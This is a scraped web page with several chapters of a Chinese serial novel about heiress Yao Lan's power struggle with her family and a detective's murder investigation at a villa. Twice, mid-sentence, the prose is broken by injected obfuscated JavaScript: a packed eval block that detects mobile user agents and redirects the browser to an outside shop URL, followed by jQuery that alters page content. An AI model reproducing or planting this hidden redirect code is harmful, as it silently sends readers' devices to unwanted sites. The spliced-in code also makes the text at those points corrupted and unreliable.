她和姚坤不同,姚坤无论怎么示弱,都可以说是策略,因那对他有利。而她只要有一次,就彻底输了,以后遇到任何一件事,都会被人拿出来说。 这个世界就是这样,别人送你的,生怕你嫌弃、看不上,而你抢到手的,别人都认为那根本不属于你,会想方设法的夺走。 “怎么样,要不要借此机会证实一下自己,告诉所有人这就是我们姚家最出色的第三代——姚岚的实力?”姚老爷子又问。 这不只是疑问,也是战书。 姚老爷子继续道:“至 于那边的事务,你一个人忙不过来的时候,就让你大哥帮你分担。有些局女人去总是不方便,男人都会搞性别歧视,特别是在生意场上。像是这种应酬,你让你大哥过去,会比你更有优势。当然整个大局还是你说了算,只不过是你多利用了一层家里的资源。” 说得好听是利用资源,实则就是一点点蚕食,等姚坤逐渐熟悉,直到彻底掌握整个脉络,再顺理成章地接手。到时候下面那些有意见的高管也会改变看法。 所以哪怕是昨天她已经用和许立荣达成交易这件事,成功改变了姚老爷子的主意,也只不过只是表面罢了,他只是换了一种方式,多给她一点缓冲的时间。 总而言之,她还是要交权。 过了好一会儿,姚岚才深吸一口气:“爷爷,你该不是有什么把柄被姚坤知道了吧?他是什么样儿您一直都知道,为什么还要将大把资源送到他手里?” 姚老爷子反问:“这五年你拿的哪一块饼不因为我的允许,你才有机会拿到?难不成也是用我的把柄换来的?” “那是为什么?”姚岚直视着他,似乎就是要亲耳听到他说出一个理由,必须令她心服口服。 “你还真是不见棺材不落泪。”姚老爷子也终于收了笑,和善的面容里多了一分算计,和几分她看不透的深沉,“现在是给你台阶下,你也要把握好见好就收的尺度。风风光光地下台,总比让人把你踢下去要体面。” 【风风光光地下台,总比让人把你踢下去要体面。】 直到挂断视频电话后,这句话还回荡在姚岚耳边。 见她垂着目光坐在原位一动不动,始终站在对面,听完整个过程的肖越,情绪和心情也切换了几次。 最后还是肖越先开口:“到底是血浓于水,他真打算把这一切都交给姚坤。哪怕那就是个扶不起的,也是个正统的孙子。” “姚坤,只是个踏板。”姚岚轻轻眨了下眼,声音很轻,“最多就是暂时寄存。” 其实给不给姚坤并不重要,重点只是让她交权。 肖越又道:“这么说,最后都会落在姚珹手上。姐,那咱们就真的什么都不要了吗?” 姚岚抬眼:“说实话,如果直接给姚珹,我反而没那么难受。偏偏中间要过一道手,被一个窝囊废沾过。” 肖越跟着点头:“早知如此,我们这三年何必这么拼,都是为他人做嫁衣。” 姚岚没接话。 她不介意当工具人,只要工具人能拿到自己满意的价码,认为一切都值得,那就行了。 可现在她是被喂了一嘴屎,还要装做开开心心的样子,下台一鞠躬。 “说穿了,还是我爬得太快。”姚岚这样说道,“这是警告,也是敲打。他能给我,也能拿走。我要是有异心,妄想贪图不属于我的东西,就该死。” 最后三个字很轻巧,却也刻薄。 肖越皱了下眉:“你是说,他是防着你真的坐上那个位子?” “从协议达成的第一天开始,这层防范就已经存在了。” 20. Chapter 19 Chapter19 肖越缓和着呼吸,在姚岚面前踱着步:“我只想知道,咱们真的要退吗?我都听你的。” 姚岚靠进椅背,眼皮微微掀起:“你先回答我,你这半生退过吗,代价是什么?” “没有。”肖越笃定道,“退一步,就会死,那代价你是知道的。我不能退,也不敢。” 不过一秒,肖越便见到一朵笑容自姚岚脸上缓慢漾开,眼神里也多了几分决绝。 肖越顿时明白了,虽然有些胆战:“你是说,即便退,姚老爷子也不会放过你?” 姚岚说:“进一步是死,退一步也是死。而在进与退之间,还有姚万忠和姚坤的虎视眈眈,以及这场麦城的生死局。一个是赌,另一个是直接放弃,虽然不管怎么选,可能最终结果都是一样——所以我和你一样,不能退,也不敢退。” 肖越好一会儿没言语,他仔细思考了一番,转而想到一个可能性,连他自己都被吓了一跳。 “你该不会认为,这个一直跟着咱们的变态凶手,是姚家派来的吧?” 更有甚者,就是姚老爷子的手笔? 姚岚只说:“不好说,但不排除这个可能。” 肖越若有所思地点了下头,又问:“那这一切你是早就猜到了,还是……” 姚岚说:“就是今天早上,你告诉我有人死在佛堂。” “难怪你会跟我要那几个案子的资料。可如果真是姚家,就算这个人被咱们揪出来,他们还可以再安排下一个。” “我说过了,麦城这里的是死局,玩下去就还有赢的机会,不玩就是认输。不管未来如何,这个凶手都要抓出来。与其提早预判姚家的手段,不如留些精力在眼下,否则只会被那些顾虑绑住手脚,瞻前顾后反而会错失机会。” …… 同一时间,好事得逞的姚坤,正在屋里开香槟庆祝。 方妮倚靠着躺椅,一手撑着身体,另一手摇晃着杯里的液体,说:“现在高兴会不会太早啊?不过这个酒的味道是真不错,回去了要多买几瓶。” “回去还早,急什么。”姚坤笑呵呵的。 方妮又喝了口,眯着醉眼,仰头看了看天花板,突然想起什么,又收回视线问:“既然已经快要把她踢出去了,那那件事儿还要继续吗?” “哪件?” “啧,你这记性,是不是被冲昏头脑了……” 方妮白了他一眼,将杯子放到一边便起身拿自己的手提包,随即从包里拎出来一个小塑料袋,食指和拇指捏着,对着姚坤晃悠了两下。 姚坤定睛一看,才注意到那个塑料袋里装了几根黑色的发丝。 他拍了下额头,笑道:“原来是这件事儿啊。当然要做!她滚不滚蛋,都不影响咱们掀她的底牌!我不仅要把她踢出麦城,还要将她踢出姚家!” 方妮收好袋子说:“放心吧,这几根头发是我亲自去她房间取的,保证没有经过任何人的手。” “哼!”姚坤冷笑,“只要DNA一出来,她就是丧家之犬。我看她到时候还笑不笑得出来!” “那也要多防范一手。”方妮接道,“如果她就是不承认这报告是她的,说咱们故意拿别人的头发去做鉴定,到时候又该怎么证明呢?别忘了,上次做DNA,就因为样本被人换了,才被她侥幸蒙混过去,还反咬一口。这次可不能再犯同样的错,否则就算将来拿到真的,也没人信了!” “我之前不是让人查过了吗?”姚坤却好像很有把握一般,“如果那些事儿都是真的,那么她的原始样本一直都在这里,而且还有关键证人。只要将这里的样本和你拿到的这几根头发作比对,证明是同一个人,还和姚家没有半点亲缘关系,她就是口才再好也没用!” “难怪你要来这破地方掺和一脚,穷乡僻壤的,我还以为有多少油水呢。” “等拿到东西,咱们就走。放心,也用不了多久。” 方妮“切”了一声,想了想又道:“可她都来这里三年了,就算真有什么原始样本,万一已经被她拿走了呢?” “你尽管把心放肚子里,我托的人亲口说的,保证没有落在任何人手里。不然你以为,她为什么要去监狱接触一个已经失势的前市长?” “啊?老头子千方百计想要拿到的数据,就是这个?!难道老爷子也早怀疑她了?” “当然不止了,不过具体还有些什么,涉及了多少人,我现在也说不好……总之连老爷子都想得到的东西,肯定是价值连城!” …… 就在姚坤和方妮算计的同时,后院的案发现场外,王严云带来的一队人也正陆续离开。 等人都走光了,王严云才又一次踏进现场。 他的手机震动了几下,拿出来一看,信息正来自姚岚身边得力的左右手之一,许垚。 【根据你的专业判断,这案子会不会和前面五件是同一个人做的?】 王严云靠着一旁的条桌,慢悠悠地回信息:【直觉告诉我,有这个可能。但事实又告诉我,凶手应该不是同一人。除非你们能证明,昨晚月光别院里有人在前面五个现场也出现过,且有充分的作案时间。】 许垚:【不管怎么说,都太巧了。】 王严云:【你们还不如让姚岚去拜拜,她这什么柯南体质。】 正说到这,就听到门外传来细微的脚步声。 王严云没有看许垚回了什么,先是扬声道:“谁啊,是不是忘东西了?” 直到走出门口,才发现来人并不是队员,而是一个身着亚麻罩衫且身材高挑的男人。 “你是……”王严云快速打量了男人一眼。 对方露出一个稍显礼貌的笑容,说:“抱歉打搅您了探长,我叫倪泽晟,昨晚也住在这里。听到出事了,就过来看看有什么能帮上忙的地方。” “哦。倪泽晟……”王严云念叨着,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17560440|202844||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 那寰宇的倪泽熙,和你有关系吗?” “那是我哥。”倪泽晟笑着回。 王严云又问:“那姚岚应该算是你大嫂了对吧?你说你昨晚住在这里,那你大哥也……” “不,他在忙别的事。”倪泽晟面色不改,“昨天寰宇也出了点事,也许你也听说了?” “哦对,是有个事儿,不过不是我去的。好像是有人受了伤?”王严云俨然一副刚想起来的模样,随即话锋一转,“额,恕我冒昧,为什么是你住在月光别院,而不是你大哥?这地方不是姚岚买了吗?” 这话就差直接问了,当大哥的那边出了事在处理,小叔子却和大嫂住在同一屋檐下? 倪泽晟不紧不慢地解释:“其实不是大嫂邀请我过来的,而是坤总。我们在新加坡有过接触,昨天才一起下飞机,坤总又邀请我过来同住。实在是盛情难却。” 王严云也笑了:“噢,原来如此。只能说你们富人圈的世界还真小,兜兜转转大家都认识。” 倪泽晟垂下目光,将话题引开:“听说今早死在这里的是坤总昨天请来的阿赞?” “是。”王严云边说边审视倪泽晟的神态,“他不走运,只来了几个小时,连一个整觉都没睡,就被人杀了。死得不明不白,恐怕连他自己都不知道为什么。” “怎么讲?”倪泽晟问。 王严云似笑非笑地扬了扬下巴,指向佛堂的门口:“从现场看像是仇杀,不过只要稍微过过脑子,就会发现这只是凶手自编自导的一场秀。这个人表现欲很强,可惜表演痕迹太重了。” 倪泽晟先是挑了挑眉梢:“哦?是这样。” 随即他又轻笑着说:“不愧是屡破大案的王探长,你才来一会儿,就已经彻底洞悉凶手的动机。看来他这些伎俩根本没有和你较量的资格,你们很快就能破案了。” “希望吧,我也想亲手抓住这家伙,看看这个变态到底长着什么三头六臂。” “既然如此,那我就不在您这儿班门弄斧了。”倪泽晟微微欠身,转身就要离开。 王严云始终维持着原有的姿势,目光一直落在他身上。 直到倪泽晟走出两步又停下,遂侧身看过来。 两个男人的目光隔空对上,王严云以眼神询问,而倪泽晟却好似面含疑惑。 只听倪泽晟问:“其实刚才我就想问了,王探长,咱们是不是在哪里见过?” 王严云努着嘴摇头:“应该没有。” “哦,那是我眼花了。”倪泽晟又是一笑,“要不是早听说您的大名,我还差点以为你姓程,险些叫您‘程先生’。” “chen,耳东陈?”王严云问。 “不,是禾木边的程,前程万里的程。” “你肯定是认错人了,我这长相比较大众。” “倒说不上大众,而且很帅。那好,我就不打搅了,祝王探长早日破案。” “谢您贵言。” 21. Chapter 20 Chapter20 几分钟后,肖越将正准备离开的王严云请到主屋。 肖越反手将门带上,王严云溜达着进屋,正好看到姚岚仰头吞下一粒药片。 他走过去拿起桌上的药盒看了眼:“头疼?” 姚岚喝了口水,声音并不高:“想喝什么自便。” 王严云也不客气,从咖啡壶里倒出一杯现成的热咖啡,抿了一口,说:“你现在就想了解案情还早了点,我也得鉴识科的报告。” 姚岚看向被纱帘遮挡的落地窗,还能透过薄纱看到若隐若现的风景:“嫌疑人就在别院里。” “所以你已经有人选了。”王严云说,“刚才问你还不肯讲,现在愿意了?” 姚岚并不接招,只道:“无论我说出哪个名字,后果都是致命的。” “哦,致谁的命?”王严云的嗅觉颇为敏锐,又笑道,“能让你产生顾虑的,应该不是那个人的身份吧。要不我猜猜看?” 姚岚没接话,目光也没挪动,表情几乎是木然的。 直到王严云边走边说:“连环命案和凶手会对你的利益造成直接损失,或者说是已经造成了损失了。你之前的态度模棱两可,对案子本身并不在意,一切都交给警方处理,是因为还没伤害到你在乎的东西。可这才过了多久就换了态度,说明这些案子已经发挥了连锁反应。” 王严云话落,屋里好一会儿都没有声音。 他品尝着咖啡,而姚岚就像是出了神一样看着前方,半晌过去,她才发出一声轻叹。 “要不是你在大陆犯了事儿,留在春城帮我多好?可惜了。” 王严云咳了一声,险些被咖啡呛死。 姚岚撇了一眼过来,终于浮现出一丝笑意。 王严云见状说:“还会吐槽我,说明还没到绝路,有的救。” 姚岚平静道:“就算是绝路,我也有办法把它蹚平。” “不愧是你。”王严云将杯子放到一旁,话锋又一转:“刚才倪泽晟到现场来了,问以前是不是见过我。” 姚岚不禁挑眉,王严云又道:“他还问,我是不是姓程,前程万里的程。” 怎么…… 姚岚垂眼想了想,心里逐渐升起疑惑:“你们见过吗?” “我印象里没有。要是见过,我不可能忘记。”王严云说。 “如果不是认出你,他就不会精准地说出那个字。” “对。”王严云扬起笑,看上去有点不在乎,“起码我已经知道,在麦城还有一个人握着我的把柄,我可不能得罪他。” 这话落地,不等姚岚接话,王严云便从兜里拿出手机,划拉几下翻出照片,递给姚岚看。 “对了,还有个事儿,死者的身份并不是你们所说的阿赞。” 姚岚看了过去,第一张照片拍的是死者的手部特写,可以很清楚地看到虎口处有块老茧。 第二张则是死者的手臂,在肘窝的位置有几个针孔,血管也处于淤血状态。 这倒是姚岚没有想到的:“他拿枪,还注射毒品?” 阿赞都是佛教徒,根本不可能碰这两样东西。 王严云十分确定地说出自己的判断:“是经常拿枪,还是个老毒虫。要不就是毒贩,要不就是杀手。” 姚岚收回视线,不由得皱起眉头,回忆起昨晚在餐厅里扫到的那一幕,当时死者刚进别院,穿着法袍,一手拿着法器正在四处张望。 其实她那时候就有一种奇怪的感觉,总觉得这个人像是穿错了衣服,气质也不像是修佛之人。可她并没有深究,很快就将注意力抽回放到眼下的局面上。 问题是,不管他是毒贩还是杀手,来月光别院的目的是什么?当然不可能是看风水。 贩毒,还是杀人? 这两个选项快速出现,又很快被筛掉第一个。 答案显而易见。 姚坤的身体承受不了毒品。 至于方妮……她虽然不敢打包票,却非常了解方妮的喜好。 方妮什么都要用最好的,就算是真吸毒,也绝对不会吸食劣质品,而是那种普通瘾君子连见都没见过,甚至没有具体概念的“高级货”。它们能在极大程度上将对身体的损伤降到最低,当然价格也非常昂贵,足以媲美奢品名牌。 而昨晚来的那个人,根本不像是能接触到那种东西的人——那么就只可能是后者。 所以…… 见姚岚好一会儿不说话,表情从困惑转为严肃,又从严肃逐渐变成恍悟,王严云忍不住问:“你是不是有答案了?” 姚岚抬眼道:“有个场外信息,也是我几分钟前才确定的,现在可以跟你分享了。” “呵,洗耳恭听。”王严云笑道。 只听姚岚说:“连环案可能和姚家有关。” “等等……”王严云抬了下手,第一感觉是荒谬,但他没急着否认,而是快速消化了一下,又想了想可能性。 随即才问:“是你查到了,还是有人不打自招?” “后者。”姚岚很快将之前和姚坤的对峙描述了一遍,“耀坤一到麦城就要求住在这里,还叫来一个伪装成阿赞的杀手,接着这个人就死了。他转头就拿这件事以及前面五个案子,到爷爷面前告状。这行为看上去很幼稚,但效果显著,结果就是我现在不得不让姚坤介入麦城的事务。” 这话落地,王严云好一会儿说不出话,只是用一种匪夷所思的眼神看着姚岚,然后又坐到一旁笑了几声。 直到他找回自己的声音,第一句便是问:“所以你的意思是姚坤为了夺权,精心布了这个局,还让六个死人做垫背?你说的是我知道的那个姚坤吗?” 姚岚也觉得不可思议,只说:“我只是将我知道的告诉你,并不是下结论。其实现在想来,如果从第一个案子开始,我就能预判一切,倾尽全力地找出凶手,事情也不会恶化到这个地步。” “换任何一个人都预判不了这么多。”王严云摇头说,“而且我也不相信这是姚坤的手笔。如果策划这一系列案件只是为了让你滚蛋,那这个人不仅城府极深,精于算计,而且非常有耐心——等到姚坤来麦城才走这最后一步。姚坤要是有这个智商和定力,就不会通过打小报告来得利了。你也没可能走到今天,早死在他手里了。” 这倒不是危言耸听,姚坤一出生就握了一手王牌,属于大小王、四个2和同花顺都拿齐了。如果他有高智商和这种手段,以姚岚一手“艺术生”半路改走商路的烂牌来看,即便她有逆天的能力,也不可能扭转。 而站在姚家的立场,如果姚坤真是那样的人,姚老爷子根本不需要再扶植姚岚,也不会属意姚珹。 “我同意你说的。”姚岚揉着太阳穴,声音平和,“但现在看来,他就是唯一的得利者。” “那会不会是……额,你爸,或是老爷子干的?”王严云试图找到一个更说得过去的答案,因他虽然不信姚坤有这种本事,却也无法排除姚家某个人是主谋的可能性。 “我也想过这一点。”姚岚说,“如果是爷爷,根本没必要这么迂回地布局。这也不是我爸的风格。除非能找到,姚坤为什么要请杀手来别院的答案,谜底才能解开。另外还有个问题也很重要……” 王严云没急着问,过了一下脑子才说:“你指的是,让杀手假扮阿赞混进来,是姚坤的授意,还是姚坤也被蒙在鼓里?” 姚岚颔首:“如果是后者,说明姚坤就是单纯的傻逼。” “那要是前者呢?”王严云接道。 姚岚却没言语。 王严云“嘶”了一声,遂若有所思地来了句:“你说他是突然开的窍,还是背后有高人指点?不管这个人是谁,你以后在麦城的日子可不好过了。” 姚岚冷笑:“我以前的日子就好过么?不管是谁,这战书我已经接下了,是我先将他揪出来,还是他先干掉我,用不了多久就能见分晓。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17562083|202844||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “还是你狠。”王严云边说边起身,往门口走。 走到一半时,他又站住脚,转身看过来。 姚岚依然维持着靠着沙发背看着窗外的姿势,日光从玻璃窗透进来,迎面洒在她身上。 而站在王严云的角度,看到的则是她的后背,完全背着光,只有周身环绕了一层淡淡的光晕。 那些光无法穿过她的身体照亮背部,除非她自己转身。 王严云忽然开口:“其实还有一条路,不知道你有没有考虑过?” 姚岚侧了下头,鼻尖被光轻点着,睫毛被光滤过,几乎成了透明。 只听王严云道:“就像你大嫂。如果不是十年前姚坤出了那场意外,丢了一个肾,这场联姻根本轮不到方妮。” 这段故事虽然已经过去很久,却在每一个当事人心里都留下一抹深刻的印记。 王严云继续道:“你的起点比方妮高,而且有能力。只要你想,春城几大家族随便你挑。因为娶了你,这就是一本万里的买卖。不过前提是你愿意。” 姚岚没接话,脑海中却十分应景地浮现出一幕之前在春城某晚宴角落里听到的对话。不过那一男一女叫什么她已经不记得了。 男人问:“你说我们这种人,拼死拼活往上爬,打败了99%的人,终于走到现在的位子,图的到底是什么?有些人一出生就有了。” 女人自嘲:“可笑的是,这个位子还未必守得住,也许只是替他人看几年罢了。” “欸,其实你比我还更有希望一点。没准有一天傍个金龟婿,就不用自己拼了。” “你也能找个富家女啊。” “哦,比如呢?” “春城著名女强人,姚岚。” “你可饶了我吧。” “怎么,瞧不上啊?” “那倒不是。她走的那条路一般人可消受不了,玩艺术的突然回来争产,还真让她折腾个平起平坐。你信不信,她手里的资源就没有一条是不带血的?当她的伴侣,不仅得胆子大,命也得大,不然怎么死的都不知道。” “那么累图什么啊,她一出生就姓姚了。这个姓在春城是什么概念,犯的着挣命么!” “要不怎么都说她大嫂会捡漏呢,听说姚家原来的联姻首选根本不是她。那时候也没人记得方妮是谁,谁想到结婚后竟然摇身一变……” 姚岚吸了口气,从记忆中醒神,看着窗外逐渐晃眼的光,半晌才说:“你要是再提这事儿,朋友都没得做。” 只听王严云在笑了声:“走投无路了就嫁人,对别人来说是退路,对你是侮辱。是我白问了。先走了,等我消息。” …… 身后响起离开的脚步声,然后是开门声和关门声。屋里恢复了宁静,只剩下几乎要将她融化掉的日光。 不知过了多久,放在沙发上的手机响起,姚岚才有了动作。 “喂。” 对面响起倪泽熙的嗓音:“有个商业采访,想你陪我一起去,有空吗?” “好啊。”姚岚笑着答,却只字不提月光别院发生的“意外”,又问,“刘副总被伤的事儿都处理好了?” “已经交代下去了。就算我什么都不做,只盯着这件事,也不会那么快就有结果。” “这倒是。” “那咱们就说定了?明天我让司机来接你?” “地址给我,我自己过去。” “也好。那明天见。” “明天见。” 电话挂断,姚岚终于离开窗口的那片阳光。 转身时,阳光洒在背上,直到她逐渐走出去,融入阴影,脸上的笑意也逐渐浮现。 姚坤的手伸的太长,倪泽晟的威胁过于扎眼,还有姚老爷子的打压、警告,与倪泽熙的面和心不和,以及躲在暗处的变态杀手。 这一切都看似无法化解,她就是那条待宰的鱼。 呵呵。 是时候反击了。